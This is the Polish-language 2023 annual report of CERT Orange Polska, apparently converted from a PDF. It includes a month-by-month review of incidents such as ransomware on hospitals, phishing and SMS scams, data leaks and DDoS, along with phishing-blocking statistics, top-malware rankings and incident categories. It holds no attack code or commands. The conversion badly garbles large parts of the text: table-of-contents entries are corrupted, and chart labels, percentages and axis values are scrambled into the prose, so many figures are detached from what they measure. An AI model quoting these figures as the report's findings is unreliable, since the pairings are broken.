Raport CERT Orange Polska
za rok 2023

tu jest


https://cert.orange.pl/

Spis tresci

Wstep: Cztowiek, Cyberbezpieczenstwo, CyberTarcza, CERT. Orange tu jest............... 4

Przeglad najwazniejszych wydarzen i zagrozen w Polsce i na Swiecie w roku 2023...6

Nauka nie idzie w las, czyli jak razem dziatamy dla cyberbezpieczenstwa..........cceecerrerrraens 13
Incydenty obstuzone przez Orange Polska w roku 2023............cccuecmmnsmmnsninmmsssnmsssssssssssssssssassssnns 21
Ataki identyfikowane na taczach Orange Polska.........ccccccucemirmmnsnmnsnnnsnissnsssssssssssssssssssssssssssnseas 29
SWiIatOWY KrajODraz DDOS-OW.....ceceeererersrsesersssssssssesssssassssesssssasssssssssssssssssssassssssssssassssssssns 36

Aktywnosé ztosliwego oprogramowania w przestrzeni klienckiej Orange Polska...39

Ztosliwe oprogramowanie W SieCi MODIINEj.......ccccvrrrrerrrrrscerrrsssesrersseee e e s e s e e s smeeneas 63
P24 P2 Tl 0] 1T 0 T 1Y L A 1Y - RN 67
Trendy, czyli co przewidujemy W roKU 2024..........oooouiieiiiiiiee e 71
Warto wiedzie¢ kto i jak atakuje W CyDerprzestrzeni..........ccocueecuueeecieeiciie e 72
Sztuczna inteligencja w rekach analityka — jak uczyé Al by byto uzyteczne........ccocooeiiiiiiicnieennee. 75
Quantum Computing - przysztos¢ technologiczna, czy zagrozenie dla bezpieczenstwa............. 82
Nietypowe podejscie do walki z oszustami z UZyciemM Al......c.ccccveeiiiee i 85
Samodzwonigce telefony. Triada na polskich urzadzeniach........ccccccoviiiiiiiiiiiiiiiieee s 87
Hydra pod Szyldem Santander...........cooi i e 90
Czy po wprowadzeniu technologii 5G sieci mobilne stang sie bezpiecznigjsze?..........ccccuuuue. 92
Ataki na dostepne publicznie urzadzenia KHENCKIE........cc.ueeiiiiiiiiiiieiiiee e 93
Fatszywa faktura, W SrodKuU NaNOCOIE!...........ccociiiiiiiieicie ettt ettt e 98
Nowe projekty europejskie z udziatem Orange POISKaA. ......cccoiiiiiiiiiiiiieieiiieee e 100

CERT Orange Polska

£ST 0 o [0 1= o3 31 311 1= 102
Poméz dziecku w sieCi bYE DEZPIECZNYM.......oiuiiiiei e 102
Dlaczego ciggle tapiemy si€ Na PhiSNING?........eeiiiiieiiie e e e e e e e e e e e e e s 103
Ustugi bezpieczenstwa Orange PoOISKa........cccuueerersmrrssnssssssssssssssssssssmsssssnsssssmsssssnsessans 106
SOC dla Orange CyberDefense. Chronimy Polske, chronimy Swiat!..........cccceiiiiiiiniienineieenee e 106
Next Generation SOC cyberbezpieczenstwo w stuzbie ciggtosci dziatania OT.........cccccceevceveeceenennen. 107
€T 0T T T T2 117

cert.orange.pl


https://cert.orange.pl/

. Raport CERT Orange Polska 2023

Liudmila Climoc
Prezeska Orange Polska

CERT Orange Polska

Czlowiek,
Cyberbezpieczenstwo,

CyberTarcza,
CERT.
Orange tu jest

Przed Wami 10. edycja raportu CERT

Orange Polska. 10 lat mineto btyskawicznie,

a krajobraz cyberzagrozen zmienit sie catkowicie.
QOd prostego spamu — niechcianych wiadomosci
zapychajgcych naszg elektroniczng poczte

do wszechobecnej socjotechniki, wysublimowanych
kampanii phishingowych i agresywnych

atakéw na infrastrukture krytyczna.

| oczywiscie jest sie¢ 5. generaciji.

Doktadnie 10 lat temu mierzyliémy sie z atakiem

na dziesigtki tysiecy modemdw polskich internautéw,
czasowym wytgczeniem dostepu do sieci
zainfekowanych urzadzen. To zagrozenie dato
poczatek naszej CyberTarczy i zmotywowato

nas do podzielenia sie z Wami tym, co robimy

dla bezpieczenstwa w internecie. W kolejnym roku
wydalismy pierwszy Raport CERT Orange Polska.

Nasze podejscie do obrony przed cyberzagrozeniami
réwniez sie zmienito. WigczyliSmy do niej sztucznag
inteligencje, nieustannie sledzimy i analizujemy

co dzieje sie w sieci, by zapewni¢ Wam najwyzszy
poziom bezpieczenstwa. Konsekwentnie rozwijamy
CyberTarcze, ktéra w ubiegtym roku zablokowata
360 tys. domen phishingowych — niemal trzykrotnie
wiecej niz w roku 2022. To dobra wiadomos¢,

ktéra oznacza niezwykta skutecznos$c tej funkcjonalnosci.

Co istotne, liczba internautéw ochronionych

przed utratg wrazliwych danych, czy oszczednosci
catego zycia wyniosta 5,5 min. To wynik podobny
do zesztorocznego, co nas cieszy, bo wskazuje on,
ze razem powoli zatrzymujemy rosnacy

od wielu lat trend. Oznacza to, ze korzystacie

z wiedzy, ktérg Wam przekazujemy.

W raporcie przeczytacie o tym, kto i jak atakuje
w cyberprzestrzeni, jak korzystaé¢ z mozliwosci
sztucznej inteligencji, a takze komputeréw

kwantowych. O tym, jakiej metody w ubiegtym

roku najczesciej uzywali cyberoszusci.

O tym, jak i dlaczego dzwonity same telefony

i jak nie wpas¢ w socjotechniczng putapke.

O tym jak rozmawiaé o bezpieczenstwie

w sieci z dzieckiem. A takze o tym jak zapewniac
cyberodpornos¢ firm.

Chcemy, aby cztowiek byt najsilniejszym
ogniwem w cyberbezpieczenstwie. | nie chodzi
tu tylko o ekspertéw z tej dziedziny, ale przede
wszystkim Was - internautow.

Zachecamy Was do $ledzenia naszych ostrzezen,
piszcie na , jesli w internecie
zwrdcicie uwage na podejrzane strony.

SMS-y, ktére budzg Wasz niepokdj,

wysytajcie na numer 508 700 900.

Razem dbajmy o bezpieczniejszy internet.
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Przeglad najwazniejszych wydarzen i zagrozen
w Polsce i na Swiecie w roku 2023

Atak ransomware na brytyjska poczte @ Swiat

Powigzani z Rosjg hakerzy przeprowadzili atak ransomware na brytyjskg poczte
Royal Mail. Atak zaktécit dziatanie systeméw wykorzystywanych do $ledzenia

e e przesytek miedzynarodowych.

Polska

13 stycznia 2023 r. doszto do ataku hakerskiego

na infrastrukture serwerowg Centrum Medycznego
TW-MED, w wyniku ktérego nieuprawniony podmiot
dokonat zaszyfrowania danych zgromadzonych

na serwerze w sposéb uniemozliwiajgcy Centrum
Medycznemu TW-MED dostep do danych,

w tym wykonanie kopii bezpieczenstwa.

/Zaklécenia w iranskiej @ éwizb

telewizji panstwowej podczas
Swieta Rewoluciji

Iranscy haktywisci zaktocili panstwowa
transmisje telewizyjna przemowienia prezydenta
Iranu Ebrahima Raisiego podczas uroczystosci
Dnia Rewoluciji. Hakerzy wyemitowali hasto
,Smieré Chameneiemu” i zachecali obywateli

do przytaczenia sie do antyrzadowych protestéw.

\_ /

Polska

Odnotowano przypadki dotadowywania ,,zappsami”
(wirtualna waluta) w nieuprawniony sposéb wybranych
kont uzytkownikéw Zappki. W reakgji na te naruszenia
operator aplikacji dokonat blokady kont, na ktérych
doszto do niedozwolonych aktywnosci.

Polska

W wyniku ataku, doszto do rozlegtej awarii
systemu Slaskiej Karty Ustug Publicznych.

W wyniku awarii przestat dziata¢ portal, aplikacja
Mobilny SKUP, System Dynamicznej Informagii
Pasazerskiej oraz kasowniki w czytnikach kart
znajdujacych sie w pojazdach.

Polska

Doszto do cyberataku na system informatyczny Centralnego Szpitala Klinicznego Uniwersytetu
Medycznego w todzi. Atak sparalizowat prace placowki. W reakcji na incydent profilaktycznie
wytgczono systemy informatyczne szpitala. ,,Nie doszto do wycieku danych pacjentdéw ani innych

informacji wrazliwych” — podat szpital.

CERT Orange Polska

m. e oo/ Cyberszpiegostwo w FBI @ Swiat

CISA i FBI poinformowaty, ze amerykariska agencja federalna byta celem
wielu atakdw, w tym wietnamskej grupy szpiegowskiej, w kampanii miedzy
listopadem 2022 a styczniem 2023 roku. Hakerzy wykorzystali luke

w zabezpieczeniach serwera Microsoft Internet Information Services (IIS)
do zainstalowania ztosliwego oprogramowania.

Polska

CERT Polska poinformowat,

ze od dtuzszego czasu obserwuje
kampanie phishingowa

ukierunkowana na uzytkownikow serwisu
Netflix. Celem przestepcow klasycznie byto
wytudzenie dostepu do konta do serwisu
Netflix oraz danych karty ptatniczej.

Polska

Na skutek ataku hakerskiego, w wyniku dziatania
ztosliwego oprogramowania, doszto do zaszyfrowania
danych na administrowanych serwerach w firmach
Grupy Kapitatowej SPECJAL.

Polska

Doszto do naruszenia infrastruktury informatycznej PESA Bydgoszcz S.A.
poprzez szkodliwe oprogramowanie typu ransomware. W zwigzku

z incydentem podjeto wspdtprace z ekspertami zewnetrznymi w dziedzinie
cyberbezpieczenstwa, celem zidentyfikowania metod i Zrédet naruszenia
infrastruktury informatycznej oraz zabezpieczenia srodowiska IT.
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Raport roczny CERT g

Publikacja rocznego raportu
CERT Orange Polska za 2022 r.

/Zhakowano popularna,

Polska \

Incydent nieuprawnionego dostepu do danych bilingowych
miat miejsce w ustudze SerwerSMS. Przestepcy uzyskali
dostepy do czesci obecnych i archiwalnych baz danych.
Podatnos$¢ w systemie zostata zidentyfikowana i usunieta.

polska bramke SMS

Udaremniony atak na ukrainski
system kontroli granicznej

@ Swiat

Powigzani z Rosjg haktywisci przeprowadzili nieudany atak phishingowy
na ukrainski system zarzadzania przekraczaniem granicy przez ciezaréwki
komercyjne.

/qud uruchomit serwis
do sprawdzania wyciekow
danych obywateli

Jak poinformowat Minister Cyfryzaciji, zostat uruchomiony
specjalny serwis dla obywateli, gdzie kazdy moze sprawdzi¢,
czy jego dane wyciekty.. Zalogowanie do serwisu wymaga
logowania profilem zaufanym.

\_

Polska \

/

Ponad 6 min rekordow zawierata
opublikowana w sieci Tor baza logindw i haset
z réznych wyciekow w polskim internecie.
Byta to prawdopodobnie najobszerniejsza
baza wykradzionych haset w ostatnich latach.

\ /

/Ogromny wyciek danych Polska\

Czerwiec EEEEEEIRNNS

/Podszyli sie pod prezesa Polska\
spotki. Firma stracita
ponad 12 tys. zi.

Jak informuje Policja, ksiegowa jednej z siedleckich
firm otrzymata fakture z adresu mailowego tudzgco
podobnego do maila swojego szefa z poleceniem jej
zaptaty. Kobieta zgodnie z procedurami zaptacita na-
leznos¢, ktéra pdzniej okazata sie oszustwem. Firma

stracita ponad 12 tys. zt. /

PP Nowa kampania GuLoadera

Niepozorne, ztosliwe oprogramowanie,
ktére w ostatnich etapach infekciji wykorzystuje

kod Agent Tesla do kradziezy zachowanych
danych w przegladarkach internetowych
(hasta, cookies, otwarte sesje
uzytkownika).

Potwierdzono, ze pierwszy szpital
zamkniety z powodu ransomware

Szpital w lllinois stat sie pierwsza placéwka opieki zdrowotnej,

@ Swiat

ktdéra publicznie wymienita atak ransomware jako gtéwny powdd zamkniecia.
Atak, ktory miat miejsce w 2021 r., trwale sparalizowat finanse placéwki.

CERT Orange Polska

Przeglad najwazniejszych wydarzen i zagrozen w Polsce i na swiecie w roku 2023 n ‘

Atak hakerski na systemy IT Olsztyna

Polska

Atak na infrastrustrukture IT w Olsztynie, ktéra odpowiada za obstuge pasazerow |® ® @ @ Lipiec
i ptatnosci za przejazdy komunikacja, przestaty dziata¢ biletomaty mobilne oraz

stacjonarne, jak réwniez system dynamicznej informacji pasazerskiej.

Uczestnicy szczytu NATO
na celowniku hakerow

@ Swiat

Rosyjscy hakerzy zaatakowali uczestnikdw ostatniego szczytu NATO

w Wilnie.Napastnicy wykorzystali ztosliwag replike strony internetowej
Swiatowego Kongresu Ukrainy, aby przeprowadzi¢ atak.

Rekordowa liczba
alertow DDoS

11 lipca odnotowalismy najwiecej alertéw

zwigzanych z atakami DDoS (ponad 3500).
Wozrost ten spowodowany byt zwiekszong

liczbg atakow typu carpet bombing.

i

amanie Koreanczykéw @éwia
do rosyjskiego producenta rakiet

)

Wedtug raportéw, pétnocnokoreanscy hakerzy, w roku
2022 przez pie¢ miesiecy wtamywali sie do systemdw
komputerowych rosyjskiego producenta rakiet.
Analitycy nie byli w stanie okresli¢, jakie informacije

\mogiy zostac przejete lub przegladane. /

°
°
/Ujawniono planowane @ Swiat\

cyberataki na szczyt G20

Indyjska firma zajmujaca sie cyberbezpieczenstwem od-
kryta plany grup hakerskich z Pakistanu i Indonezji, aby
zaktéci¢ szczyt G20 w Indiach. Oczekuje sie, ze hakty-
wisci wykorzystaja ataki DDoS i masowe znieksztatcanie
obiektu np. witryny internetowej w swoich atakach, ktore
sg przypuszczalnie najnowszym wydarzeniem w
haktywistycznej bitwie miedzy tymi narodami, zgodnie z

\_

Polska\

W Krakowie na parkingach pojawity sie fatszywe kody
QR prowadzace do fatszywych stron z ptatnosciami
np. do uiszczenia optaty parkingowej. Zeskanowanie
kodu i klikniecie na wskazany adres, prowadzito do
fatszywej strony z ptatnoscia, gdzie wykradano dane
karty pfatniczej. Podanie swoich danych uwierzytelnia-
jacych do banku, mogto skutkowac¢ kradziezg srodkéw
finansowych z konta i jednocze$nie mandatem za brak

optacenia parkingu miejskiego. /

tanely kolejne pociagi. Polska

W Krakowie na parkingach
pojawity sie fatszywe kody QR

(s

‘XX Sygnaty radio-stop na kolei

Sygnat radio-stop to element bezpieczenstwa

w systemie kolejowym. Po jego nadaniu

wszystkie sktady w okolicy zostajg natychmiast
zatrzymane. W sierpniu takie sygnaty zostaty

uzyte przez osoby nieupowaznione,

co doprowadzito do paralizu na kolei. /

ooo\

/Rozbita zorganizowana Polska\

grupa przestepcza wytudzajaca
kredyty przez internet

® ®@ ® 17 0séb, w wieku od 32 do 69 lat zatrzymali
funkcjonariusze Centralnego Biura Zwalczania
Cyberprzestepczosci podczas operacji, w ktorej udziat
wzieto 120 policjantéw z wielu jednostek. Zatrzymane

Cdaniami firmy”. /

osoby podejrzane sg o udziat w zorganizowanej grupie
przestepczej, pranie pieniedzy, oszustwa internetowe,
fatszowanie dokumentacii i wytudzanie kredytow. /

cert.orange.pl
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@ Swiat

Haktywisci przeprowadzili serie atakdéw w nastepstwie
konfliktu rozpoczetego 7 pazdziernika. Rosyjscy

i iranscy haktywisci rowniez zaatakowali izraelskie strony
rzgdowe, natomiast hinduscy haktywisci zaatakowali
\strony internetowe Hamasu, wspierajac Izrael.

/Konfilkt w Hamasu
i Izraela w cyberprzestrzenii

/Kopalnia kryptowalut
odnaleziona w siedzibie
NSA w Warszawie

Urzadzenia o duzej mocy obliczeniowej wykorzystywane
w obrocie kryptowalutami odkryto w siedzibie
Naczelnego Sadu Administracyjnego w Warszawie.
Komputery dziatajgce jako system ,koparek kryptowalut”
ukryte byty w kanale wentylacyjnym oraz

and’fodze technicznej. /

Kampania SMS na InPost

Kolejna kampania SMS z fatszywymi wiadomosciami
od InPost. Atak socjotechniczny zachecat do klikania
w fatszywe linki pod pretekstem problemoéw

z dostarczeniem przesytki.

Powrot trojana Remcos o

To jedno z najpopularniejszych zagrozen
ostatnich lat w polskiej sieci, jednak tatwe
do rozpoznania.

/Moina juz zastrzec

Polska\
swoj PESEL

Od listopada kazdy obywatel moze zastrzegac r eeo
albo cofa¢ zastrzezenie numeru PESEL, jednak
konsekwencje prawne takiego zastrzezenia bedg
wyciggane dopiero wobec zdarzen, ktére nastgpia
od 1 czerwca 2024 r.

) _/

CERT Orange Polska

na mandacie umieszczony byt kod QR, zeskanowanie
Polska ® ® o kodui kliknigcie na wskazany adres, prowadzito

O....O....OO....O....O.....O....Q....Q.....

Polska\

Po fatszywych lipcowych kodach QR w Krakowie,
bardzo podobna metoda oszustwa pojawita

sie w Warszawie. Tym razem kierowcy mogli znalezé
fatszywe mandaty za wycieraczkag swojego samochodu,

/Fatszywe mandaty
za parkowanie w Warszawie

do fatszywej strony z ptatnoscia, gdzie wykradano
dane karty pfatnicze;.

[ J
( ]
¢

ajwiekszy atak na sie¢
energetyczna w Danii

_/

@ éwiat\

Dania do$wiadczyta najwiekszego cyberataku w swojej
historii, gdy rosyjscy hakerzy zaatakowali dwadziescia
dwa dunskie przedsiebiorstwa energetyczne. Atak,
ktory rozpoczat sie w maju 2023 roku, wydawat sie by¢
skierowany na uzyskanie kompleksowego dostepu do
zdecentralizowanej sieci energetycznej Danii. Hakerzy
wykorzystali krytyczna luke i kontynuowali eksploitac-
je niezaktualizowanych systemoéw, w celu utrzymania
obecnosci w systemach.

N /

/Przestepcy wykorzystuja gtos PolsD
Aleksandra Kwasniewskiego
do scamu

Deepfake gtosu bytego prezydenta Aleksandra
Kwasniewskiego. Przestepcy uzywajg go

do uwiarygodnienia scamu na ,,super inwestycje”.
Ofiara zostaje naméwiona, do zainstalowania

na swoim urzadzeniu ztosliwego oprogramowania,
pozwalajgc cyberprzestepcom na wszelkie mozliwe

operacje w tym te bankowe. /

Przeglad najwazniejszych wydarzen i zagrozen w Polsce i na swiecie w roku 2023
[ )

Falszywe sklepy internetowe  Polska

Przygotowuijac sie do zniw $wigtecznych, oszusci
uruchamiali fatszywe sklepy internetowe polujgc na dane
ptatnicze, dane uwierzytelniajgce oraz na pienigdze ofiar.

Ogromny wyciek danych Polska

medycznych

Agent Tesla w mailach Polakow

Grupa ransomware RA World zagrozita ujawnieniem
danych medycznych, ktére zostaty wykradzione
przed zaszyfrowaniem przez tg grupe zasobéw
zaatakowanej jednej z firm w Polsce.

Kolejny raz obserwujemy kampanie malware
Agent Tesla, ktére wpada do skrzynek email
Polakéw. Kampania na szczescie byta mato
wiarygodna i mozna byto sie zorientowac,
ze cos jest nie tak.

@ Swiat

Ukrainscy hakerzy sparalizowali najwiekszy rosyjski zaktad wodociggowy,
szyfrujgc ponad 6000 komputeréw i usuwajgc ponad 50 TB danych.
Hakerzy twierdzili, ze ich atak byt odwetem za rosyjski cyberatak Kyivstar.

Ukrainscy hakerzy biora odwet
na rosyjskim zaktadzie wodociagowym

Duze zaktdcenia sygnatu Polska
GPS nad Polska 000000000:

Nad pétnocno-wschodnig Polska pojawity sie zakidcenia sygnatu ®

GPS, mogace powodowac btedne wskazania urzadzen
nawigacyjnych. Eksperci przypisuja te anomalia dziataniom GZ estepcy Polska \
publikuja kolejna

wojskowym pochodzacym z Krélewca.
duza paczke danych
z wycieku ALAB

W internecie pojawita sie kolejna ,paczka”
danych medycznych pacjentow
pochodzacych z wycieku z ALAB.
0006060606000 .qubliczniono 220 000 nowych numeréw

Ztosliwa kampania
SMS na Orange

Ztosliwa kampania SMS, ktérej
celem jest kradziez danych
poswiadczajgcych tozsamosé
uzytkownikéw ustug Orange.

PESEL i skojarzonych z nimi rekordow.

LR XY Nagly wzrost atakow DDoS

23 grudnia nastapit gwattowny wzrost dziennej liczby

atakéw DDoS. Maksimum zostato osiggniete 31 grudnia
(1845 atakdéw). Najwiekszy pojedynczy atak,
ktéry mitygowaliSmy osiagnat 441 Gbps.

cert.orange.pl
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Nauka nie idzie w las, czyli jak razem
dziatamy dla cyberbezpieczenstwa

Robert Grabowski

To 10. edycja naszego raportu. Poprzednie lata to nieustanne wzrosty
liczby oséb, ktore zatrzymaty sie na ostrzezeniu o niebezpieczne;
stronie wygenerowanym przez CyberTarcze.

Ponizej wykres pokazujacy dwie linie z liczbg zablokowanych domen
i unikatowych uzytkownikow, ktorzy sie ,ztapali”.

W tym roku pierwszy raz patrzymy optymistycznie na podsumowanie,
bo wzrost jest nieznaczny, a wtgczajac w jego analize zaréwno

FP (False Positive), jak i rozwéj metod wykrywania mozna stwierdzi¢,
ze to pierwszy rok powstrzymania trendu. Trendu, ktory w przyszitosci
moze przynies¢ spadek liczby uzytkownikow regularnie
odwiedzajgcych CyberTarcze.

Liczba zablokowanych domen i uzytkownikow,
ktorzy sie ,,ztapali” w latach 2019-2023

zablokowane domeny [tys.] uzytkownikoéw, ktérzy sie ,ztapali” [min]
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10. edycja naszego raportu

Scenariusze dominujacych oszustw w 2023

Raport CERT Orange Polska 2023

Dlaczego?

Bo bedzie to oznaczaé, ze coraz rzadziej dajecie sie zwies¢ przestepcom, bardziej panujecie nad swoimi emocjami,
korzystacie z edukacji na temat zagrozen i dzielicie sie wiedzg o ochronie przed nimi — takze z innymi internautami.

W konsekwenciji jestescie po prostu bardziej bezpieczni! »Pfatnosci (w tym oszustwo ,na kupujgcego”)” Fatszywe inwestycje

59,4% 28,2%
Nie mamy ztudzen co do zmniejszenia liczby rejestrowanych ztosliwych domen. Nie zatrzymamy tez wszystkich oszustw
sieciowych, ale liczymy na Was. Wielokrotnie pisali§my, ze cztowiek jest najstabszym ogniwem, gdy chodzi
o zabezpieczenia w sieci. Chcemy by byt tym najsilniejszym.

Wierze, ze dziatania edukacyjne, ktérych jest coraz wiecej w polskiej przestrzeni publicznej przyniosa
wymierny efekt.

Blokady coraz skuteczniejsze

Trend dominacji blokad tresci phishingowych wsréd wszystkich ztosliwych domen i adresow IP,

ktdére sg przez nas izolowane, jest bezapelacyjny. | pewnie nikogo nie zdziwi fakt, ze rok 2023

to kolejny rekord. Niemal trzykrotny wzrost zaréwno we wpisach pojedynczych, jak i liczby wpisow

typu wildcard (po informacje na ten temat odsytam do artykutu ,,CyberTarcza: Od prostej funkcjonalnosci
do inteligentnego rozwigzania” Raport CERT 2022).

Media
spotecznosciowe

51%

Malware 0,4%

. . Topowe zagrozenia 2023
Wildcard pojedyncze

Podobnie jak w ubiegtym roku ,,Fatszywe inwestycje” to #1 stron, na ktére wabieni sg uzytkownicy.
Sredniomiesiecznie to blisko 52% sposrod wszystkich wizyt. Z radaru zniknety ,,Fake newsy”, ktore ukryty sie
w ogélnej kategorii ,,Inne”, ale Oszustwo ,,na kupujgcego” caty czas utrzymuje sie w topie phishingowych zagrozen.

4 —/—m——W—// To zdecydowany lider, jesli chodzi o ilo$¢ tworzonych w tym celu stron (o czym na kolejnym wykresie).

350

0 — s Topowe zagrozenia 2023

oL o T ———————— I obstuzonych przez CERT Orange Polska w 2023 1. = e, e e e e e o i oesustuo oo kupuiaceqe’

200 —mm¥X¥XXX@@M@8@™M¥7¥7¥m7X N 100% — - S S S — — - - - o -

150
100
50
0

80% — ] = = ] ] || || ] - || || |

. - I AR RERRRE
- .

40%

2020 2021 2022 2023

20%

0%

2023-01 2023-02 2023-03 2023-04  2023-05 2023-06  2023-07 2023-08 2023-09  2023-10 2023-11 2023-12

cert.orange.pl



https://cert.orange.pl/
https://cert.orange.pl/wp-content/uploads/2023/05/Raport_Orange_2022.pdf

IS8 Raport CERT Orange Polska 2023 To 10. edycja naszego raportu

TOP Malware 2022

Android.HiddenAds Preinstalled malware

Fatszywe sklepy 7,5% 5,6%

Jesli spojrzymy na top kategorii phishingu, pod katem liczby zablokowanych stron, oszustwa polegajgce na sprowokowaniu
do ptatnosci przy sporym udziale oszustw ,,na kupujacego” to blisko dwukrotnie wieksza liczba domen niz najczesciej
odwiedzane fatszywe gietdy i serwisy oferujgce bardzo szybki zysk bez ryzyka — a wtasciwie na bazie takiego sloganu
soferujg” wyczyszczenie konta.

Blisko 10 tys. fatszywych sklepéw. Ten wynik to kilka bardzo duzych kampanii tworzonych masowo sklepow-klondw, . Mirai
z ktérymi mieli$my do czynienia w 2023 roku.

3,4% 2,8%
Scenariusze dominujacych oszustw w 2022

Emotet Sality Floxif
2,6% 2,2% 1,7%

Android. Triada
Raccoon 4,1%

. . 14,2%
Fatszywe inwestycje Falszywe sklepy Oszustwo

43,4% 10,5% na kupujgcego
(o)
9,9% Glupteba
ge%cgl)/l_ine 1,4%
, (70

Smokeloader

Troldesh

37% Ursnif

2,4% TaskMasters
1,4% LOKIBOt | AZORut

0,9% 0,7%

1,3%
TrickBot
1,2%

TOP Malware 2023

Facebook Falszywe | Loterie
5 3% strony i kupony
1970 pobierania

0y

Redline Raccoon
12,1% 5,1%

Fake newsy
22,9%

Webmail
1,0%

Odtaczenie
pradu
0,9%

,9%

Floxif Dridex Emotet
3,1% 2,1% 1,9%

Co kryja kategorie?

o)
o E
e
Oszustwo na kupujgcego to wielokrotnie opisywane w naszych raportach ataki powigzane najczesciej z portalami Andromeda 2 =
aukcyjnymi/zakupowymi, gdzie kupujgcym wysytane sa linki (zazwyczaj poprzez WhatsApp) do rzekomej strony 5 Troldesh JRRS g
; oo ) A o 6,4% N S o |3
z odbiorem pieniedzy za sprzedawany przedmiot. W tym roku potgczyliSmy je w grupe pod nazwa ,,Pfatnosci”. 3,1% < - | 2

DanaBot
3,.2% log4shell

1,6%

W grupie tej znalazty sie m.in. niedostarczone przesytki kurierskie, fatszywe ogtoszenia na portalach sprzedazowych
czy strony typu ,,Przedtuzenie Netflixa”.

SMSPVArut

Fatszywe inwestycje to wszystkie ataki powigzane z oszustwami oferujgcymi niebotyczne zarobki poprzez wszelkiej
masci inwestycje (akcje znanych firm, gietdy kryptowalut, piramidy finansowe, tajne sposoby politykow itd.).

Czesto klikacie takze w fatszywe panele logowania do Facebooka (Media spotecznosciowe), fatszywe sklepy

czy linki w SMS/RCS zwigzane z kuponami do Zabki, poprawg adresu przesytki czy zgubionym urzgdzeniem Apple. Szczegobtowo o ztosliwym oprogramowaniu przeczytacie w artykule Piotra Kowalczyka na stronie 39. W tej grupie dodatkowo
znalazto sie zagrozenie oznaczone jako log4shell, pod ktérym kryja sie ztosliwe adresy wykryte w payloadach wykorzystujacych
podatnosé CVE-2021-44228 ,Log4Shell” (od$wiezona analiza programistyczna tej podatnosci — https://cert.orange.pl/aktual-
nosci/geneza-podatnosci-cve-2021-44228-a-k-a-log4shell/). cert.orange.pl.
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Blokady miesieczne 2022 A 10 lat wczesniej

unikalni uzytkownicy phishing pozostate 10. edycja raportu to doskonata okazja
na spojrzenie dekade wstecz i powrdt do roku 2014.
Rzeczywistos¢ bardzo sie zmienita od tamtego
czasu. Wyobrazacie sobie, ze phishing byt niszowy
1800 i stanowit 1% wszystkich zarejestrowanych przez

nas incydentéw! Owczesne #1 to wszechobecny SPAM.
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1200 || ||

LU BEZEE B H B Kategorie dziatan powodujacych wystapienie incydentow
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Préby wlamana

Blokady miesieczne 2023

unikalni uzytkownicy phishing pozostate
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Malware
2000
1900 Phising URL
1800
1700 _——
1600 — 0% 10% 20% 30% 40% 50% 60% 70% 80%
1500 | ,
udziat procentowy
1400 — |
1300 | | | _— |
1200 ] | _— | _—
Tego roku udziat spamu w klasyfikacji zagrozen Nasze raporty petne sa cennych wskazéwek
1100 —— —— —— —— — —— wynosit ponad 40% i byt absolutnie dominujacy. dotyczacych codziennej obrony w cyberprzestrzeni.
1000 Drugie miejsce nalezato do incydentéw wptywajgcych To wartosciowa lektura zaréwno dla oséb na co dzien
na dostepnos$¢ zasobdw — niemal 18%. Zobaczcie, zajmujgcych sie cyberbezpieczenstwem, ale réwniez
900 gdzie w tym zestawieniu jest malware — prawie zwyktych internautéw narazonych kazdego dnia
na koncu listy. na ataki w internecie.
800 — E— E— E— E— E— S E— E— E— E— SR
Nieco inaczej pod wzgledem ilosciowym wygladajg Przyktady, ktére pokazujemy sa jednoczesnie bardzo
700 | I I _— _— _— _— | i | | | I . 4 L ST o~y 2 . A, A
ataki DDoS. Sredniomiesieczna ilos¢ alertdow pozostaje  charakterystyczne i uniwersalne w odniesieniu
600 | na tym samym poziomie. Natomiast wielkos¢ atakow do catego kraju. Wiekszos¢ atakéw na nasze
to juz zupetnie inna historia. Liczba atakéw powyzej dane i pienigdze podlega pewnym schematom,
500 — — — — — — — — — — — — - 10 Gbps wzrosta dwukrotnie (z 3,8% na 7,7%), ktére musimy znaé, aby sie przed nimi bronic.
400 podobnie jak liczba atakéw o najmniejszym wolumenie
] — ponizej 0,2Gbps (z 24,3% do 40,8%).
300 | | || | | | | || | | | | | Rekordowy atak z 2014 roku, ktéry wynosit 93 Gbps
zostatby dzisiaj praktycznie niezauwazony (ataki Przytaczany przéz nas rekord
200 _— ] _— - - - - - — — — - powyzej 100 Gbps to obecnie codziennos$c). Pot- = 543Gbp5 z 2023 roku, to atak
100 wierdza to réwniez $rednia wielko$é szczytowego blisko 6-krotnie mocniejszy
o natezenia ataku z blisko 4-krotnym wzrostem - z 900 niz ten sprzed dekad
0 | | | | || || || | | ] | ] | ] | ] Mbps do 3,2 Gbps. P y-
2023-01  2023-02  2023-03  2023-04 2023-05  2023-06 2023-07  2023-08  2023-09  2023-10  2023-11  2023-12

CERT Orange Polska cert.orange.pl



https://cert.orange.pl/

|
{ L]

* §

fziﬁ}‘

Incydenty
bezpieczenstwa
obstuzone przez
CERT Orange Polska

W niniejszym rozdziale przedstawiamy rozktad procentowy incydentéw
bezpieczenstwa obstuzonych przez nas w sposob nieautomatyczny

w roku 2023. Incydenty dotyczg ustugowych sieci internetowych,

a analizy gtéwnie podziatu na kategorie oraz poréwnan z ubiegtym rokiem.
Obstugiwane przypadki dotyczyty, zardwno sytuacji ataku na zasoby
dotfgczone do sieci Orange Polska jaki i takich, gdy ataki zostaty
prowadzone z zasobdw w tej sieci. Dotyczyly one wszelkich rodzajow
sieci z punktu widzenia ich uzytkownika koncowego, tj. uzytkownikow
indywidualnych, jak i podmiotéw korporacyjnych.

N
18 Y \\‘\.l,;' S
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. Raport CERT Orange Polska 2023 =

Kategorie obstugiwanych incydentow:

Kategoria incydentu

Obrazliwe
i nielegalne tresci

Ztosliwe
oprogramowanie

Gromadzenie informaciji

Préby wtaman

Wtamania sieciowe

Dostepnos$¢ zasobdéw

Bezpieczenstwo informacii
(poufnosé i integralnosé
informaciji)

Oszustwa
i naduzycia sieciowe

Inne

Opis oraz przyktady zdarzen

Rozpowszechnianie niebezpiecznych i zabronionych prawem tresci (np. rozsytanie spamu,
dystrybucja/udostepnianie materiatéw chronionych prawem autorskim - piractwo/plagiat,
pornografia dziecieca) oraz rozpowszechnianie tresci obrazliwych/grézb i innych zwigzanych
z naruszeniem zasad i regut w sieci internet.

Infekcje i rozpowszechnianie ztosliwego oprogramowania (np. hostowanie C&C, ztosliwe
oprogramowanie w zatgczniku wiadomosci lub link do skompromitowanego adresu URL).

Podejmowanie dziatan majgcych na celu uzyskanie informacji o systemie lub sieci, bgdz

ich uzytkownikach, zmierzajgcych do nieautoryzowanego dostepu (np. skano-wanie portow,
podstuch, inzynieria spoteczna/phishing — w tym rozpowszechnianie maili phishingowych,
hostowanie stron phishingowych).

